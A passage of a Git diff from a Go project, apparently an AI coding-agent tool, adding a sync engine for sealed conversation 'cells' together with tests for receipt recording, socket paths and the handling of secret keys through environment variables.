os.Stat(filepath.Join(workspace, litter)); err == nil { + t.Fatalf("the seal wrote %s into the user's workspace", litter) + } + } + if inside(engine.LocalDir(c), workspace) { + t.Fatal("the engine store must live outside the workspace") + } + }) +} + +func TestComposedDirIsNamedOnlyWhenTheTreeIsAWorkspace(t *testing.T) { + c := newCell(t) + if got := (Engine{}).cellDir(c); got != "" { + t.Fatalf("a cell's own folder composes nothing, got %q", got) + } + if got := (Engine{Workspace: "/w"}).cellDir(c); got != filepath.Join(c.Root, cell.StateDir) { + t.Fatalf("cell dir = %q", got) + } +} + +// Whatever a tool call does inside, it leaves one receipt row, and each seal is +// chained to the last by parent: a call that runs a process, one that only +// writes a file, and one that fails. +func TestSealedSeatRecordsEachToolCallAsOneReceipt(t *testing.T) { + c := newCell(t) + rec, fake := newRecorder(t, c, &stubExec{}, filepath.Join(t.TempDir(), "wal")) + seat := sealed{Stance: executor.Stance{Class: executor.HostBound}, rec: rec} + for _, failed := range []bool{false, true} { + err := seat.Around(context.Background(), executor.Call{Tool: "bash", Args: []byte(`{"command":"x"}`)}, func() ([]byte, bool) { return []byte("out"), failed }) + if err != nil { + t.Fatal(err) + } + } + if got := fake.count("turn-end"); got != 2 { + t.Fatalf("%d seals for two calls", got) + } + head, _ := Head(c) + call := head.Receipt.Calls[0] + if len(head.Receipt.Calls) != 1 || call.Tool != "bash" || call.Exit != 1 || call.SideEffect != "external" || head.Turn.Parent == "" { + t.Fatalf("head %+v", head) + } +} + +func TestACallWhoseIntentCannotBeLoggedDoesNotRun(t *testing.T) { + c := newCell(t) + dir := filepath.Join(t.TempDir(), "log") + rec, _ := newRecorder(t, c, &stubExec{}, filepath.Join(dir, "wal")) + // The log's folder becomes a file, so nothing more can be appended to it. + if err := os.WriteFile(dir, nil, 0o600); err != nil { + t.Fatal(err) + } + ran := false + err := rec.Around(context.Background(), executor.Call{Tool: "bash"}, executor.EffectLocal, AgentRun, func() ([]byte, bool) { ran = true; return nil, false }) + if err == nil || ran { + t.Fatalf("err = %v, ran = %v; an unlogged call must not run", err, ran) + } +} + +func inside(parent, dir string) bool { + rel, err := filepath.Rel(parent, dir) + return err == nil && !strings.HasPrefix(rel, "..") +} + +// A setup turn's call is external whatever the class, and its seal says Setup; +// an ordinary call on the same recorder stays local and AgentRun. +func TestSetupSeatSealsExternalCallsAsASetupTurn(t *testing.T) { + c := newCell(t) + rec, _ := newRecorder(t, c, &stubExec{}, filepath.Join(t.TempDir(), "wal")) + seat := sealed{Stance: executor.Stance{Class: executor.Sandboxed}, rec: rec} + for _, tc := range []struct { + name string + seat executor.Seat + trigger Trigger + effect string + }{ + {"ordinary", seat, AgentRun, "local"}, + {"setup", executor.ForSetup(seat), Setup, "external"}, + } { + err := tc.seat.Around(context.Background(), executor.Call{Tool: "bash", Args: []byte(tc.name)}, func() ([]byte, bool) { return []byte("out"), false }) + if err != nil { + t.Fatal(err) + } + head, _ := Head(c) + if head.Turn.Trigger != tc.trigger || head.Receipt.Calls[0].SideEffect != tc.effect { + t.Errorf("%s: trigger %s effect %s, want %s %s", tc.name, head.Turn.Trigger, head.Receipt.Calls[0].SideEffect, tc.trigger, tc.effect) + } + } +} + +// A call that asked for its seal to wait leaves the tree unsealed until the +// caller settles, and the settle takes the whole batch in one seal that ends +// where the transcript then ends: the result line written between the call and +// the settle is inside it. +func TestDeferredCallsAreSealedOnceAtSettleWithTheResultLine(t *testing.T) { + c := newCell(t) + rec, fake := newRecorder(t, c, &stubExec{}, filepath.Join(t.TempDir(), "wal")) + seat := sealed{Stance: executor.Stance{Class: executor.HostBound}, rec: rec} + transcript := filepath.Join(c.Root, cell.TranscriptPath) + if err := os.MkdirAll(filepath.Dir(transcript), 0o700); err != nil { + t.Fatal(err) + } + for _, name := range []string{"a", "b"} { + call := executor.Call{Tool: "bash", Args: []byte(name), Deferred: true} + if err := seat.Around(context.Background(), call, func() ([]byte, bool) { return nil, false }); err != nil { + t.Fatal(err) + } + } + if got := fake.count("turn-end"); got != 0 { + t.Fatalf("%d seals before the results were written", got) + } + if err := os.WriteFile(transcript, []byte("assistant call\ntool result\n"), 0o600); err != nil { + t.Fatal(err) + } + seat.Settle(context.Background()) + head, _ := Head(c) + if fake.count("turn-end") != 1 || len(head.Receipt.Calls) != 2 || head.Receipt.Transcript.End != int64(len("assistant call\ntool result\n")) { + t.Fatalf("seals %d, head %+v", fake.count("turn-end"), head) + } +} + +// The line a turn ends on is sealed by a settle that has no call to carry, and +// a settle with nothing new seals nothing, so an idle chat adds no turns. +func TestSettleSealsTheClosingAnswerOnceAndOnlyWhenTheTranscriptGrew(t *testing.T) { + c := newCell(t) + rec, fake := newRecorder(t, c, &stubExec{}, filepath.Join(t.TempDir(), "wal")) + transcript := filepath.Join(c.Root, cell.TranscriptPath) + if err := os.MkdirAll(filepath.Dir(transcript), 0o700); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(transcript, []byte("closing answer\n"), 0o600); err != nil { + t.Fatal(err) + } + for range 3 { + rec.Settle(context.Background()) + } + if got := fake.count("turn-end"); got != 1 { + t.Fatalf("%d seals for one closing answer, want 1", got) + } + head, _ := Head(c) + if len(head.Receipt.Calls) != 0 || head.Receipt.Transcript.End != int64(len("closing answer\n")) { + t.Fatalf("head %+v", head) + } +} diff --git a/internal/cellstore/socket_unix.go b/internal/cellstore/socket_unix.go new file mode 100644 index 0000000000..81006689ab --- /dev/null +++ b/internal/cellstore/socket_unix.go @@ -0,0 +1,14 @@ +//go:build !windows + +package cellstore + +import ( + "github.com/Agent-Field/codeaf/internal/home" + "path/filepath" + "strings" +) + +// socketFor keys the daemon to its engine build, preserving Unix socket names. +func socketFor(bin string) string { + return home.Join("v3", "engine-"+strings.TrimPrefix(filepath.Base(bin), "furrow-")+".sock") +} diff --git a/internal/cellstore/socket_windows.go b/internal/cellstore/socket_windows.go new file mode 100644 index 0000000000..640743231a --- /dev/null +++ b/internal/cellstore/socket_windows.go @@ -0,0 +1,27 @@ +package cellstore + +import ( + "crypto/sha256" + "fmt" + "golang.org/x/sys/windows" + "os" + "path/filepath" +) + +// socketFor puts the daemon under the user's local profile. Hashing the full +// binary path isolates both engine upgrades and explicit development engines, +// while keeping the AF_UNIX address below its 108-byte ceiling (K2). +func socketFor(bin string) string { + base := os.Getenv("LOCALAPPDATA") + if base == "" { + base, _ = os.UserCacheDir() + } + if short, err := windows.UTF16PtrFromString(base); err == nil { + buf := make([]uint16, 32768) + if n, err := windows.GetShortPathName(short, &buf[0], uint32(len(buf))); err == nil && n < uint32(len(buf)) { + base = windows.UTF16ToString(buf[:n]) + } + } + sum := sha256.Sum256([]byte(bin)) + return filepath.Join(base, "codeaf", fmt.Sprintf("e-%x.sock", sum[:8])) +} diff --git a/internal/cellstore/syncengine_real_test.go b/internal/cellstore/syncengine_real_test.go new file mode 100644 index 0000000000..2a60daa393 --- /dev/null +++ b/internal/cellstore/syncengine_real_test.go @@ -0,0 +1,63 @@ +//go:build engine + +package cellstore + +import ( + "context" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/furrow" +) + +// TestSyncEngineRoundTripRealEngine runs the real CLI verbs: seal a cell, export +// it, record the frames as published, and see a second export send nothing. It +// skips while the engine build has no sync verbs. +func TestSyncEngineRoundTripRealEngine(t *testing.T) { + bin, err := furrow.ResolveOwned() + if err != nil { + t.Skipf("no engine binary: %v", err) + } + c := newCell(t) + if err := os.WriteFile(filepath.Join(c.Root, "note.txt"), []byte("hello"), 0o600); err != nil { + t.Fatal(err) + } + store := Engine{Binary: bin, DataRoot: t.TempDir(), Transport: Spawn{Binary: bin}} + sealed, err := store.Seal(context.Background(), c, TurnInfo{}) + if err != nil { + t.Fatal(err) + } + e := SyncEngine{ + Transport: Spawn{Binary: bin}, + Keys: SyncKeys{CellKey: make([]byte, 32), Dedup: make([]byte, 32)}, + Ledger: LedgerName("http://relay", "id_test"), + Target: func(c2 cell.Cell) Target { + return store.target(c2) + }, + Outbox: func(cell.Cell) string { return t.TempDir() }, + } + first, err := e.Export(context.Background(), c, sealed.Turn.ID) + if err != nil { + if strings.Contains(err.Error(), "export") && strings.Contains(err.Error(), "unrecognized") { + t.Skipf("engine has no sync verbs: %v", err) + } + t.Fatal(err) + } + if len(first.Frames) == 0 { + t.Fatal("first export sent nothing") + } + paths := make([]string, len(first.Frames)) + for i, f := range first.Frames { + paths[i] = f.Path + } + if err := e.Published(context.Background(), c, paths); err != nil { + t.Fatal(err) + } + second, err := e.Export(context.Background(), c, sealed.Turn.ID) + if err != nil || len(second.Frames) != 0 { + t.Fatalf("second export = %+v, %v", second, err) + } +} diff --git a/internal/cellstore/syncframes_test.go b/internal/cellstore/syncframes_test.go new file mode 100644 index 0000000000..63b6b634e3 --- /dev/null +++ b/internal/cellstore/syncframes_test.go @@ -0,0 +1,44 @@ +package cellstore + +import ( + "context" + "fmt" + "os" + "path/filepath" + "testing" + + "github.com/Agent-Field/codeaf/internal/cell" +) + +// TestExportPacksAFlushIntoFewFrames pins that one export carries every unsent +// object of a burst of tool calls in one frame, over every way the engine is +// reached. A request that says "no frame size" must mean the engine's default, +// because a size of zero would give each object a frame of its own and turn +// every object into a paid put at the relay. +func TestExportPacksAFlushIntoFewFrames(t *testing.T) { + forEachTransport(t, func(t *testing.T) { + e := realEngine(t) + c := newCell(t) + var head string + for i := range 12 { + name := filepath.Join(c.Root, fmt.Sprintf("f%02d.txt", i)) + if err := os.WriteFile(name, []byte(fmt.Sprintf("body %d", i)), 0o600); err != nil { + t.Fatal(err) + } + sealed, err := e.Seal(context.Background(), c, TurnInfo{}) + if err != nil { + t.Fatal(err) + } + head = sealed.Turn.ID + } + sync := e.Sync(SyncKeys{CellKey: make([]byte, 32), Dedup: make([]byte, 32)}, LedgerName("http://relay", "id_test")) + sync.Outbox = func(_ cell.Cell) string { return t.TempDir() } + out, err := sync.Export(context.Background(), c, head) + if err != nil { + t.Fatal(err) + } + if out.Objects < 12 || len(out.Frames) != 1 { + t.Fatalf("export of %d objects made %d frames, want 1", out.Objects, len(out.Frames)) + } + }) +} diff --git a/internal/cellstore/syncops.go b/internal/cellstore/syncops.go new file mode 100644 index 0000000000..3227d7a31a --- /dev/null +++ b/internal/cellstore/syncops.go @@ -0,0 +1,325 @@ +package cellstore + +import ( + "context" + "crypto/sha256" + "encoding/hex" + "encoding/json" + "fmt" + "os" + "path/filepath" + "strconv" + + "github.com/Agent-Field/codeaf/internal/cell" +) + +// Names the engine reads its two secrets from when it is spawned. +const ( + cellKeyEnv = "FURROW_CELL_KEY" + dedupEnv = "FURROW_DEDUP_SECRET" +) + +// SyncKeys are the identity's two secrets. They are handed to each verb and +// never stored: not on argv, not on disk. +type SyncKeys struct{ CellKey, Dedup []byte } + +// LedgerName names the published ledger of one (sync URL, identity) pair, so +// pointing at a new or wiped store starts an empty ledger. +func LedgerName(syncURL, identity string) string { + sum := sha256.Sum256([]byte(syncURL + "\n" + identity)) + return hex.EncodeToString(sum[:8]) +} + +// keyArgs is the pair of secrets as they travel: hex, in the daemon's JSON +// arguments or in the spawned engine's environment. Embedding it gives an Op +// both spellings at once. +type keyArgs struct { + CellKey string `json:"cell_key"` + Dedup string `json:"dedup"` +} + +func hexKeys(k SyncKeys) keyArgs { + return keyArgs{CellKey: hex.EncodeToString(k.CellKey), Dedup: hex.EncodeToString(k.Dedup)} +} + +// Env implements EnvOp. +func (k keyArgs) Env() []string { + return []string{cellKeyEnv + "=" + k.CellKey, dedupEnv + "=" + k.Dedup} +} + +// exportOp seals what a ledger has not yet recorded into frames in Outbox. +type exportOp struct { + Head string `json:"head"` + Outbox string `json:"outbox"` + Ledger string `json:"ledger"` + MaxFrame int `json:"max_frame,omitempty"` // omitted when 0, so the engine picks its default: a literal 0 would give every object its own frame + keyArgs +} + +func (exportOp) Verb() string { return "export" } + +func (o exportOp) Args() []string { + args := []string{"--json", "export", "--head", o.Head, "--outbox", o.Outbox, "--ledger", o.Ledger} + if o.MaxFrame > 0 { + args = append(args, "--max-frame", strconv.Itoa(o.MaxFrame)) + } + return args +} + +// publishedOp records uploaded frames in the ledger and deletes them. +type publishedOp struct { + Ledger string `json:"ledger"` + Frames []string `json:"frames"` +} + +func (publishedOp) Verb() string { return "published" } + +func (o publishedOp) Args() []string { + return append([]string{"--json", "published", "--ledger", o.Ledger}, o.Frames...) +} + +// wantOp asks which remote ids complete a head locally. +type wantOp struct { + Head string `json:"head"` + keyArgs +} + +func (wantOp) Verb() string { return "want" } + +func (o wantOp) Args() []string { return []string{"--json", "want", "--head", o.Head} } + +// importOp opens the objects fetched into Inbox and stores them. +type importOp struct { + Head string `json:"head"` + Inbox string `json:"inbox"` + // Ledger is the store the objects were fetched from: what it handed over + // is recorded as published there, so the next export never sends it back. + Ledger string `json:"ledger"` + // Primed relaxes one rule (contract §22.7): an inbox file no pass wanted is + // deleted, not an error. A take primes its inbox with whole frames, whose + // frame-mates the head may not want; the want loop's answers stay strict. + Primed bool `json:"primed,omitempty"` + // Partial is the take of an inbox still filling: the engine stores what the + // walk wants from what has arrived and leaves every other file in place. + // It excludes Primed. + Partial bool `json:"partial,omitempty"` + keyArgs +} + +func (importOp) Verb() string { return "import" } + +func (o importOp) Args() []string { + args := []string{"--json", "import", "--head", o.Head, "--inbox", o.Inbox, "--ledger", o.Ledger} + if o.Primed { + args = append(args, "--primed") + } + if o.Partial { + args = append(args, "--partial") + } + return args +} + +// materializeOp restores a head into the target tree. +type materializeOp struct { + Head string `json:"head"` +} + +func (materializeOp) Verb() string { return "materialize" } + +// composing marks the verb that reads the tree's composed .cell/ entry: the +// other four work on the store alone and the engine refuses a --cell-dir there. +type composing interface{ composesCellDir() } + +func (materializeOp) composesCellDir() {} + +func (o materializeOp) Args() []string { return []string{"--json", "materialize", "--head", o.Head} } + +// FrameFile is one frame the engine wrote to the outbox. +type FrameFile struct { + Path string `json:"path"` + Objects int `json:"objects"` + Bytes int64 `json:"bytes"` +} + +// Export is what one export produced. Its shape is the sync engine seam's +// (cellsync.Engine), which cellstore may not import: the sync package names +// these types as aliases so that SyncEngine satisfies its interface. +type Export struct { + Frames []FrameFile `json:"frames"` + HeadRID string `json:"head_rid"` + Objects int `json:"objects"` + Bytes int64 `json:"bytes"` +} + +// SyncEngine is the Go half of the sync engine: five verbs over a Transport, +// each on the cell's own device-local store. +type SyncEngine struct { + Transport Transport + Keys SyncKeys + // Ledger is LedgerName(sync URL, identity id). + Ledger string + // Target says where a cell's store and tree are. + Target func(c cell.Cell) Target + // Inbox is the device-local scratch directory a cell's fetched objects land in. + Inbox func(c cell.Cell) string + // MaxFrame bounds a frame's size; 0 takes the engine's default. + MaxFrame int + // Outbox is where a cell's frames are written; nil means a directory + // beside the cell's store. + Outbox func(c cell.Cell) string + // MaterializeWith screens the folder before the engine's automatic undo + // snapshot; nil keeps the bare transport seam used by independent clients. + MaterializeWith func(context.Context, cell.Cell, Op) ([]byte, error) +} + +// Export implements the sync seam. +func (e SyncEngine) Export(ctx context.Context, c cell.Cell, head string) (Export, error) { + var out Export + op := exportOp{Head: head, Outbox: e.outbox(c), Ledger: e.Ledger, MaxFrame: e.MaxFrame, keyArgs: hexKeys(e.Keys)} + return out, e.ask(ctx, c, op, &out) +} + +// Published implements the sync seam. +func (e SyncEngine) Published(ctx context.Context, c cell.Cell, frames []string) error { + return e.ask(ctx, c, publishedOp{Ledger: e.Ledger, Frames: frames}, nil) +} + +// Want implements the sync seam. +func (e SyncEngine) Want(ctx context.Context, c cell.Cell, head string) ([]string, error) { + var out struct { + Want []string `json:"want"` + } + return out.Want, e.ask(ctx, c, wantOp{Head: head, keyArgs: hexKeys(e.Keys)}, &out) +} + +// Import implements the sync seam. +func (e SyncEngine) Import(ctx context.Context, c cell.Cell, head, inbox string) (int, error) { + return e.runImport(ctx, c, head, inbox, false) +} + +// ImportPrimed implements the sync seam: the import of a primed inbox, whose +// frame-mates are deleted rather than refused. +func (e SyncEngine) ImportPrimed(ctx context.Context, c cell.Cell, head, inbox string) (int, error) { + return e.runImport(ctx, c, head, inbox, true) +} + +// ImportPartial stores what the head wants from an inbox that is still filling +// and leaves every other file, so a take can import while frames download. +func (e SyncEngine) ImportPartial(ctx context.Context, c cell.Cell, head, inbox string) (int, error) { + return e.importWith(ctx, c, importOp{Head: head, Inbox: inbox, Ledger: e.Ledger, Partial: true}) +} + +func (e SyncEngine) runImport(ctx context.Context, c cell.Cell, head, inbox string, primed bool) (int, error) { + return e.importWith(ctx, c, importOp{Head: head, Inbox: inbox, Ledger: e.Ledger, Primed: primed}) +} + +func (e SyncEngine) importWith(ctx context.Context, c cell.Cell, op importOp) (int, error) { + op.keyArgs = hexKeys(e.Keys) + var out struct { + Imported int `json:"imported"` + } + return out.Imported, e.ask(ctx, c, op, &out) +} + +// Holds implements the sync seam: the ledger file the engine keeps beside the +// store is written by every export and import against this relay, so it has +// content exactly when the device has exchanged objects with the relay. +func (e SyncEngine) Holds(c cell.Cell) bool { + info, err := os.Stat(filepath.Join(e.Target(c).DataDir, "published."+e.Ledger)) + return err == nil && info.Size() > 0 +} + +// Materialize implements the sync seam. +// +// The engine answers with the names it could not write because this machine's +// file system keeps one of two names that differ only in case or accents; each +// is held out of later seals and recorded, so the person is told it was not +// brought along. +func (e SyncEngine) Materialize(ctx context.Context, c cell.Cell, head string) error { + var out struct { + Held []heldName `json:"held"` + } + // The restore brings the sender's policy file and record over this machine's, + // which would forget the names an earlier take set apart: they are read first + // and written back with this take's. + earlier := heldBefore(c, e.holdDir(c)) + if err := e.ask(ctx, c, materializeOp{Head: head}, &out); err != nil { + return err + } + if err := noteAdopted(c, head); err != nil { + return err + } + return noteHeld(c, e.holdDir(c), mergeHeld(earlier, out.Held)) +} + +// holdDir is where the cell's policy file lives: the composed .cell/ directory +// when there is one, else the cell's own folder (the rule of Engine.policyDir). +func (e SyncEngine) holdDir(c cell.Cell) string { + if dir := e.Target(c).CellDir; dir != "" { + return dir + } + return c.Root +} + +// targetFor is the cell's target as op needs it: only a composing verb is +// told where the composed .cell/ directory is. +func (e SyncEngine) targetFor(c cell.Cell, op Op) Target { + t := e.Target(c) + if _, ok := op.(composing); !ok { + t.CellDir = "" + } + return t +} + +// outbox is the cell's frame directory: the caller's choice, else a sibling +// of the store so frames stay on the store's filesystem. +func (e SyncEngine) outbox(c cell.Cell) string { + if e.Outbox != nil { + return e.Outbox(c) + } + return e.Target(c).DataDir + ".outbox" +} + +// ask runs one verb and decodes its ok object into out (nil ignores it). Every +// error names the verb and the cell, because a person is told which chat failed. +func (e SyncEngine) ask(ctx context.Context, c cell.Cell, op Op, out any) error { + var raw []byte + var err error + if op.Verb() == "materialize" && e.MaterializeWith != nil { + raw, err = e.MaterializeWith(ctx, c, op) + } else { + raw, err = e.Transport.Do(ctx, e.targetFor(c, op), op) + } + if err != nil { + return fmt.Errorf("sync %s of cell %s: %w", op.Verb(), c.ID, err) + } + if out == nil { + return nil + } + if err := json.Unmarshal(raw, out); err != nil { + return fmt.Errorf("sync %s of cell %s: unreadable answer: %w", op.Verb(), c.ID, err) + } + return nil +} + +// Sync is the sync engine over this store: the same transport and the same +// per-cell directories the seals use, so an export reads exactly what a seal +// wrote. The inbox is device-local scratch beside the cell's store. +func (e Engine) Sync(keys SyncKeys, ledger string) SyncEngine { + return SyncEngine{ + Transport: e.transport(), + Keys: keys, + Ledger: ledger, + Target: func(c cell.Cell) Target { + return e.target(c) + }, + Inbox: func(c cell.Cell) string { return e.LocalDir(c) + ".inbox" }, + Outbox: func(c cell.Cell) string { return e.LocalDir(c) + ".outbox" }, + MaterializeWith: func(ctx context.Context, c cell.Cell, op Op) ([]byte, error) { + if err := e.screenCapture(ctx, c); err != nil { + return nil, err + } + return e.do(ctx, c, e.cellDir(c), op) + }, + } +} diff --git a/internal/cellstore/syncops_test.go b/internal/cellstore/syncops_test.go new file mode 100644 index 0000000000..3fd4fdbe18 --- /dev/null +++ b/internal/cellstore/syncops_test.go @@ -0,0 +1,239 @@ +package cellstore + +import ( + "context" + "encoding/hex" + "encoding/json" + "errors" + "reflect" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/cell" +) + +const ( + testCellKey = "aa11aa11aa11aa11aa11aa11aa11aa11aa11aa11aa11aa11aa11aa11aa11aa11" + testDedup = "bb22bb22bb22bb22bb22bb22bb22bb22bb22bb22bb22bb22bb22bb22bb22bb22" +) + +func testKeys() SyncKeys { + return SyncKeys{CellKey: mustHex(testCellKey), Dedup: mustHex(testDedup)} +} + +func mustHex(s string) []byte { + b, err := hex.DecodeString(s) + if err != nil { + panic(err) + } + return b +} + +// scripted is a Transport that answers each verb with a canned reply and +// remembers what it was asked. +type scripted struct { + replies map[string]string + errs map[string]error + ops []Op + targets []Target +} + +func (s *scripted) Do(_ context.Context, t Target, op Op) ([]byte, error) { + s.ops, s.targets = append(s.ops, op), append(s.targets, t) + if err := s.errs[op.Verb()]; err != nil { + return nil, err + } + return []byte(s.replies[op.Verb()]), nil +} + +const rid = "0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef" + +var contractReplies = map[string]string{ + "export": `{"frames":[{"path":"/o/f1","objects":3,"bytes":900}],"head_rid":"` + rid + `","objects":3,"bytes":900}`, + "published": `{"recorded":3}`, + "want": `{"want":["` + rid + `"]}`, + "import": `{"imported":4}`, + "materialize": `{"snapshot":"` + rid + `"}`, +} + +func syncEngineOver(tr Transport) SyncEngine { + return SyncEngine{ + Transport: tr, Keys: testKeys(), Ledger: LedgerName("http://relay", "id_x"), + Target: func(c cell.Cell) Target { return Target{Tree: c.Root, DataDir: "/data/" + c.ID} }, + Inbox: func(c cell.Cell) string { return "/inbox/" + c.ID }, + } +} + +func TestSyncEngineOpsParseContractJSON(t *testing.T) { + c := cell.Cell{ID: "c1", Root: t.TempDir()} + tr := &scripted{replies: contractReplies} + e := syncEngineOver(tr) + ctx := context.Background() + + exp, err := e.Export(ctx, c, "h") + if err != nil { + t.Fatal(err) + } + wantExp := Export{Frames: []FrameFile{{Path: "/o/f1", Objects: 3, Bytes: 900}}, HeadRID: rid, Objects: 3, Bytes: 900} + if !reflect.DeepEqual(exp, wantExp) { + t.Fatalf("export = %+v", exp) + } + if err := e.Published(ctx, c, []string{"/o/f1"}); err != nil { + t.Fatal(err) + } + if got, err := e.Want(ctx, c, "h"); err != nil || !reflect.DeepEqual(got, []string{rid}) { + t.Fatalf("want = %v, %v", got, err) + } + if n, err := e.Import(ctx, c, "h", "/inbox/c1"); err != nil || n != 4 { + t.Fatalf("import = %d, %v", n, err) + } + if err := e.Materialize(ctx, c, "h"); err != nil { + t.Fatal(err) + } + if tr.targets[0].DataDir != "/data/c1" || tr.targets[0].Tree != c.Root { + t.Fatalf("target = %+v", tr.targets[0]) + } +} + +func TestSyncEngineDaemonArgsCarryKeys(t *testing.T) { + var cases = []struct { + op Op + want map[string]any + }{ + {exportOp{Head: "h", Outbox: "/o", Ledger: "l", MaxFrame: 7, keyArgs: hexKeys(testKeys())}, + map[string]any{"head": "h", "outbox": "/o", "ledger": "l", "max_frame": 7.0, "cell_key": testCellKey, "dedup": testDedup}}, + {publishedOp{Ledger: "l", Frames: []string{"/f"}}, + map[string]any{"ledger": "l", "frames": []any{"/f"}}}, + {wantOp{Head: "h", keyArgs: hexKeys(testKeys())}, + map[string]any{"head": "h", "cell_key": testCellKey, "dedup": testDedup}}, + {importOp{Head: "h", Inbox: "/i", Ledger: "L", keyArgs: hexKeys(testKeys())}, + map[string]any{"head": "h", "inbox": "/i", "ledger": "L", "cell_key": testCellKey, "dedup": testDedup}}, + {importOp{Head: "h", Inbox: "/i", Ledger: "L", Partial: true, keyArgs: hexKeys(testKeys())}, + map[string]any{"head": "h", "inbox": "/i", "ledger": "L", "partial": true, "cell_key": testCellKey, "dedup": testDedup}}, + {materializeOp{Head: "h"}, map[string]any{"head": "h"}}, + } + for _, tc := range cases { + var got map[string]any + if err := json.Unmarshal(newRequest(Target{}, tc.op).Args, &got); err != nil { + t.Fatal(err) + } + if !reflect.DeepEqual(got, tc.want) { + t.Errorf("%s args = %v, want %v", tc.op.Verb(), got, tc.want) + } + } +} + +func TestSyncEngineErrorsNameVerbAndCell(t *testing.T) { + c := cell.Cell{ID: "cell-9"} + boom := errors.New("engine refused") + e := syncEngineOver(&scripted{ + errs: map[string]error{"export": boom, "published": boom, "want": boom, "import": boom, "materialize": boom}, + replies: map[string]string{}, + }) + ctx := context.Background() + _, exportErr := e.Export(ctx, c, "h") + _, wantErr := e.Want(ctx, c, "h") + _, importErr := e.Import(ctx, c, "h", "/i") + for verb, err := range map[string]error{ + "export": exportErr, "want": wantErr, "import": importErr, + "published": e.Published(ctx, c, nil), "materialize": e.Materialize(ctx, c, "h"), + } { + if err == nil || !errors.Is(err, boom) || !strings.Contains(err.Error(), verb) || !strings.Contains(err.Error(), "cell-9") { + t.Errorf("%s error = %v", verb, err) + } + } +} + +func TestSyncEngineUnreadableAnswerNamesVerbAndCell(t *testing.T) { + e := syncEngineOver(&scripted{replies: map[string]string{"want": "not json"}}) + _, err := e.Want(context.Background(), cell.Cell{ID: "c7"}, "h") + if err == nil || !strings.Contains(err.Error(), "want") || !strings.Contains(err.Error(), "c7") { + t.Fatalf("err = %v", err) + } +} + +func TestSyncEngineSpawnKeepsKeysOffArgvAndInEnv(t *testing.T) { + var argv, environ []string + run := func(_ context.Context, _ string, env []string, a ...string) ([]byte, error) { + argv, environ = a, env + return []byte(contractReplies["want"]), nil + } + e := syncEngineOver(Spawn{Binary: "engine", Run: run}) + if _, err := e.Want(context.Background(), cell.Cell{ID: "c1"}, "h"); err != nil { + t.Fatal(err) + } + if strings.Contains(strings.Join(argv, " "), testCellKey) || strings.Contains(strings.Join(argv, " "), testDedup) { + t.Fatalf("a key is on argv: %v", argv) + } + if !contains(environ, "FURROW_CELL_KEY="+testCellKey) || !contains(environ, "FURROW_DEDUP_SECRET="+testDedup) { + t.Fatalf("keys missing from env") + } + if want := []string{"engine", "--json", "want", "--head", "h"}; !reflect.DeepEqual(argv, want) { + t.Fatalf("argv = %v", argv) + } +} + +func TestSyncEngineSpawnLeavesKeylessVerbsWithoutKeys(t *testing.T) { + var environ []string + run := func(_ context.Context, _ string, env []string, _ ...string) ([]byte, error) { + environ = env + return []byte(`{"snapshot":"s"}`), nil + } + e := syncEngineOver(Spawn{Binary: "engine", Run: run}) + if err := e.Materialize(context.Background(), cell.Cell{ID: "c1", Root: t.TempDir()}, "h"); err != nil { + t.Fatal(err) + } + for _, kv := range environ { + if strings.HasPrefix(kv, "FURROW_CELL_KEY=") && strings.Contains(kv, testCellKey) { + t.Fatalf("materialize carried a key") + } + } +} + +func TestSyncEngineExportArgsSpellTheContract(t *testing.T) { + op := exportOp{Head: "h", Outbox: "/o", Ledger: "l", MaxFrame: 5} + want := []string{"--json", "export", "--head", "h", "--outbox", "/o", "--ledger", "l", "--max-frame", "5"} + if !reflect.DeepEqual(op.Args(), want) { + t.Fatalf("args = %v", op.Args()) + } + if got := (exportOp{Head: "h", Outbox: "/o", Ledger: "l"}).Args(); len(got) != 8 { + t.Fatalf("default frame size must be left to the engine: %v", got) + } + if got := (publishedOp{Ledger: "l", Frames: []string{"/a", "/b"}}).Args(); !reflect.DeepEqual(got, []string{"--json", "published", "--ledger", "l", "/a", "/b"}) { + t.Fatalf("published args = %v", got) + } +} + +func TestLedgerNameFollowsStore(t *testing.T) { + a := LedgerName("http://one", "id_x") + if len(a) != 16 || strings.Trim(a, "0123456789abcdef") != "" { + t.Fatalf("ledger %q is not 16 lowercase hex", a) + } + if a != LedgerName("http://one", "id_x") { + t.Fatal("ledger is not stable") + } + if a == LedgerName("http://two", "id_x") || a == LedgerName("http://one", "id_y") { + t.Fatal("a new store or identity must name a new ledger") + } +} + +func contains(list []string, s string) bool { + for _, x := range list { + if x == s { + return true + } + } + return false +} + +func TestImportOpPartialArgIsPartialOnly(t *testing.T) { + op := importOp{Head: "h", Inbox: "/i", Ledger: "L", Partial: true} + if got := op.Args(); got[len(got)-1] != "--partial" { + t.Fatalf("args = %v, want trailing --partial", got) + } + for _, arg := range (importOp{Head: "h", Inbox: "/i", Ledger: "L"}).Args() { + if arg == "--partial" { + t.Fatal("a strict import must not carry --partial") + } + } +} diff --git a/internal/cellstore/testdata/wal.done.golden.json b/internal/cellstore/testdata/wal.done.golden.json new file mode 100644 index 0000000000..621f476113 --- /dev/null +++ b/internal/cellstore/testdata/wal.done.golden.json @@ -0,0 +1 @@ +{"V":1,"op":"done","intent":{"V":1,"tool":"bash","args_hash":"d1f0","started":1759049981200,"side_effect":"external"},"done":{"call":{"tool":"bash","args_hash":"d1f0","started":1759049981200,"ended":1759049981940,"exit":0,"stdout_hash":"0a1b","stderr_hash":"e3b0","side_effect":"external"},"services":[{"pid":4711,"argv":["postgres"],"ports":[5432]}],"exact":false,"trigger":"Setup","changed":["var/pg"],"stdout":"b2s=","stderr":"d2Fybg=="}} diff --git a/internal/cellstore/testdata/wal.group.golden.json b/internal/cellstore/testdata/wal.group.golden.json new file mode 100644 index 0000000000..5cb8bfd1cc --- /dev/null +++ b/internal/cellstore/testdata/wal.group.golden.json @@ -0,0 +1 @@ +{"V":2,"op":"group","intent":{"V":2,"tool":"bash","args_hash":"d1f0","started":1759049981200,"side_effect":"local","brief":"sleep 150"},"group":{"pgid":4711,"start":377568552,"owner":4700,"owner_start":377567646}} diff --git a/internal/cellstore/testdata/wal.intent.golden.json b/internal/cellstore/testdata/wal.intent.golden.json new file mode 100644 index 0000000000..5ed0358ef3 --- /dev/null +++ b/internal/cellstore/testdata/wal.intent.golden.json @@ -0,0 +1 @@ 